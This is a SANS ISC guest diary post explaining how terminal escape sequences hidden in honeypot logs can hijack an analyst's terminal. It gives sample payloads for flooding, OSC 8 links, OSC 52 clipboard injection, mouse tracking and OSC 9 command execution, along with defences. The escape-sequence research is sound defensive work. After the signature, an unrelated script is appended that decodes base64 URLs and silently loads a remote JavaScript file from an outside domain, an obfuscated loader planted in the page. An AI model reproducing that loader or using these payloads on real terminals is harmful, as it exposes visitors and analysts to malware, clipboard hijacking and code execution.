[This is a Guest Diary by James Turner, an ISC intern as part of the SANS.edu BACS program]

Introduction

In today's rapidly evolving cybersecurity landscape, vigilance is the key. But what if the very tools designed to detect and analyze threats could be turned against us? In this exploration, we dive into the world of honeypots, their valuable logs, and the potential vulnerabilities that lie within. Understanding the use and application of honeypots and their associated dangers isn't just a theoretical exercise; it's a necessity. Cybersecurity professionals, threat analysts, and IT administrators stand at the forefront of this battlefield and should know the dangers that lurk in the logs.

Why do we run honeypots?

A honeypot is a system which is deliberately vulnerable. These honeypots are run by analysts all over the world and help to provide useful information.

The Internet Storm Center (ISC) at SANS utilizes honeypots for several reasons:

• Threat intelligence for insights into techniques, tactics, and procedures.
• Early warning of emerging attacks which would affect the broader information systems community.
• Study and research of malware to develop better defense mechanisms.
• Training and education which provides students with real-world attack scenarios.
• Better training of students to prepare as cybersecurity professionals.

What logs does the honeypot collect?

In terms of log files, there are significant logs which the honey pot collects. Firewall logs describe the attempted, and blocked connections. This includes the date and time, source IP, destination IP, source port, destination port, and protocol. Other logs include terminal session logs such as ssh and telnet, which store issued commands and files downloaded via secure copy or curl commands. Finally, it also stores web connections such as http header information, http method, http endpoints, and other relevant web data.

The Analyst 

Generally, there is an analyst examining the log files created by the honeypot. This can occur though many different processes, but for now we’re going to examine the use of a terminal. A terminal is a software-based interface designed to receive, display, and send text-based data from a computer system to a shell. The shell being the command interpreter which directly interacts with the underlying operating system. Using a terminal running on their local computer, the analyst can interact with a remote system’s operating system shell. 

In the context of terminals, escape sequences can be used to control the appearance and behavior of a terminal. For example, ANSI escape codes are used to set text colors, move the cursor and much more. It’s worth mentioning that the exact behavior of these escape characters can vary from system to system as well as terminal software and version being used. 

Escape sequences have long been used to create ASCII art on screens and allow for customization of a user’s terminal. Because most terminals support some kind of escape sequences, it could be possible to manipulate the analyst’s terminal, and hypothetically allow for remote code execution on the analysist’s system. 

The Escape

Building on the incredible work of many security researchers including David Leadbeater [9] and STÖK Fredrik [10] whose DEF CON 31 presentations [11] ultimately inspired this blog post and research. To escape in the terminal, we need to understand how this happens. The ANSI standards have been around a long time and were among the first means for a user to interact with a computer. The standard was named X3.4-1967 also known as US-ASCII [1]. The escape character is a control code and is represented as a hex value of \0x1b but can also be represented as \e or \033. Once we escape the terminal, there are several options we can work with to interact with the terminal using a control sequence introducer (CSI) typically represented as an open square bracket ( [ ). After this we pass arguments delimited by semicolons. Then finally we call one of the many kinds of CSI functions built into the standard library [2]. 

Here's the breakdown:

Escape Sequence = 0x1B 
Control Sequence Initiator = [
Function Argument = 33
Function Name = m

In the example 

"\0x1B[33mTHIS IS YELLOW TEXT\0x1B[0m"

Again, we may need to alter our text based on the terminal, but the effect is the same with this example 

"$([char]0x1b)[33mTHIS IS YELLOW TEXT$([char]0x1b)[0m "

Here we can set the terminal text color as yellow.

In the example given above, the escape character is given at the end to reset the terminal text color (0 represents a reset).

Poisoning the Honeypot Download Logs

Now that we have a functional model for manipulating a PowerShell terminal, we can test it. This demonstration is not meant to show specific examples of exploitation or remote code execution, but a proof of concept about the possibility of weaponizing the logs themselves. Construction and Delivery of payload:

Once logged into the honeypot as the analyst we can navigate to the directory and examine our files:

We can also execute a buffer overflow attack where the reading of the file causes the terminal buffer to flood with specific characters. This is done by selecting a repeating character, quantity of occurrence and finally the ";b" argument which repeats the preceding character the quantity specified [3].  Here we install trillions of playful penguins to the terminal, several times with this file. Then deliver the payload for the analysist to inspect.

The analyst’s examination of the file with a cat command results in a buffer flood of penguins and/or unknown characters. 

Scrolling all the way up to the top we’ve lost the beginning of the log. This creates the possibility of concealing other activities which are escaped before the march of the penguins. 

We have now manipulated the local terminal with an escape character presented from the remote operating system. Our Escape Injection attack works with a file transfer. Now we can examine more possible outcomes. 

One possible option is the Operating System Command (OSC) function 8. OSC 8 enabled hyperlinks in terminal text [4]. But it appears as I the initiator for OSC is closed square bracket ( ] ). Now we can test the use of OSC 8. At this point we can direct a user to a malicious site or have them execute code on their computer. 

 

Here we find our file and examine the output. Now we see an error message very similar to a Microsoft error message related to a kb article, and it’s conveniently hyperlinked. Clicking the link launches calc.exe. This link could be crafted to represent any number of plausible realistic looking errors.

Moving closer to the analyst’s machine we can insert data into the user’s clipboard with OSC 52. OSC 52 requires a base64 encoded string to inject into the user's clipboard [5]. So, we craft our command we want to put into the analyst’s clipboard.

Craft and deliver the payload.

Then upon examining the payload, we can see the payload in the user’s clipboard upon pasting.

A truly annoying payload which will likely force the analyst to terminate the terminal session is the tracking of mouse movements in the terminal. The CSI symbol "?" allows for the tracking of mouse movements [3]. 

According to the documentation we need to use this format after the escape:

? + Parameter + h

The payload would look something like this if we wanted to include all of the parameters:

'\033[?1001h\033[?1002h\033[?1003h\033[?1004h\033[?1005h\033[?1006h\033[?1007h\033[?1015h\033[?10016h\'

Crafted with all parameters and delivered the payload.

Next is the examination of the payload by the analyst. 

Every movement of the mouse is reported to the terminal, pressing enter right now would result in all these nonsensical commands being posted to the honeypot shell. If the terminal stays open any movement in the terminal will continue send the output location of the mouse in the terminal to the terminal. 

If we control C (^C) then it will stop the output in the terminal but moving into the terminal with the mouse will resume the output. This will inevitably cause the analyst to close the terminal session and begin a new session.

The image above shows this to be a perpetual problem, therefore the analyst must keep all the mouse movements away from the terminal.

Finally, we can begin to examine a final Operating System Command. OSC 9. Not all operating systems support this code and further research would be required, but according to OSC 9 “Run some process with arguments” is a possible outcome from an escape [6]. 
 

There are already several CVEs associated with Windows Terminal Remote Code Execution Vulnerabilities. For example, CVE-2022-44702 [7]. 

Here is an example of what a command might look like.

'\033]9;7;”<some_command>”\007'

Safer Log analysis

We can easily overcome these escape sequences by first being aware of their existence. Knowing that the mere action of reading a file and possibly data over a terminal could result in the transfer of concealed escape sequences which can impact the local system. 

As a practical matter, keeping terminals software up to date will also help. For the examples shown Windows Terminal was downloaded from the Microsoft Store. However, terminals exist in many forms including within programs like VS Code, Putty, kitty, Microsoft PowerShell, Git Bash for Windows, Windows Subsystem for Linux (WSL). Each of these different types of terminals may have unique vulnerabilities associated with them and the version running. They may also be vulnerable depending on the operating system running them. 

Another method of prevention is that the analyst can be more careful of the inspection of the files on the honeypot. The command file will not only reveal that the captured download is an ASCII file, but also that it contains escape sequences. This provides an early warning that any examination of the file directly into the terminal may cause harm or change to the expected output. 

Other methods of examination might include the examination of the file using methods which would display non-printing characters. In the example below we’re still using cat to examine the file but we’re adding the -v switch which is intended to show non-printing characters [8].

Other possible methods may be to build a script to watch the download directory where log files are deposited, then examine new files for escape sequences as they come in. This can be accomplished by replacing the escape sequence text with text the analyst defines. In any case it is the analyst’s responsibility to protect themselves against these methods of attack against the log files.

Other areas of research

The scope of this proof of concept was limited to a single operating system (Windows 10) and a single terminal (Windows Terminal). Testing of various operating systems and terminals may yield different outcomes and different results. Here we examined the possibility of weaponizing the downloaded files to the honeypot. Other possible areas of future research and testing could include the effect of direct reading of log files with escape sequences directly written to the honeypot logs and JSON logs, as well as examining the log files which are associated to web access endpoints. This may also require more coordination with the ISC at SANS to determine the effects of introducing URL encoded escape sequences to the ISC, and the subsequent examination of the server logs and files.

Conclusion

As cybersecurity continues to evolve, so does the sophistication of threats. The potential for weaponizing or otherwise annoying the analyst with honeypot logs, as demonstrated, is a testament to the creativity and persistence of cyber adversaries. However, understanding these dangers can give us an edge in being prepared for anything. By remaining aware and proactive, analysts and IT professionals can easily thwart such potential threats. As we uncover one method of exploitation, undoubtedly, innovative challenges will emerge. But, with the ISC and SANS continuous research, sharing of knowledge, vigilance, we will be better equipped to face the challenges of the future.

[1] https://sltls.org/ASCII
[2] https://notes.burke.libbey.me/ansi-escape-codes/
[3] https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
[4] https://github.com/microsoft/terminal/issues/204
[5] https://github.com/PowerShell/PowerShell/issues/18116
[6] https://conemu.github.io/en/AnsiEscapeCodes.html#ConEmu_specific_OSC
[7] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-44702
[8] https://www.man7.org/linux/man-pages/man1/cat.1.html
[9] https://dgl.cx
[10] https://www.stokfredrik.com/
[11] https://media.defcon.org/DEF CON 31/DEF CON 31 presentations/
[12] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

<script>
var iam = "[name]@[domain].com";
var gate = "aHR0cHM6Ly9kb25ld2VsbGJ5d2VsbC5jb20vZW5lcmFsLnBocA==";
var crea8 = "aHR0cHM6Ly9kb25ld2VsbGJ5d2VsbC5jb20vcGFnZS5qcw==";
document.write('<script src="'+atob(crea8)+'"><\/script>');
</script>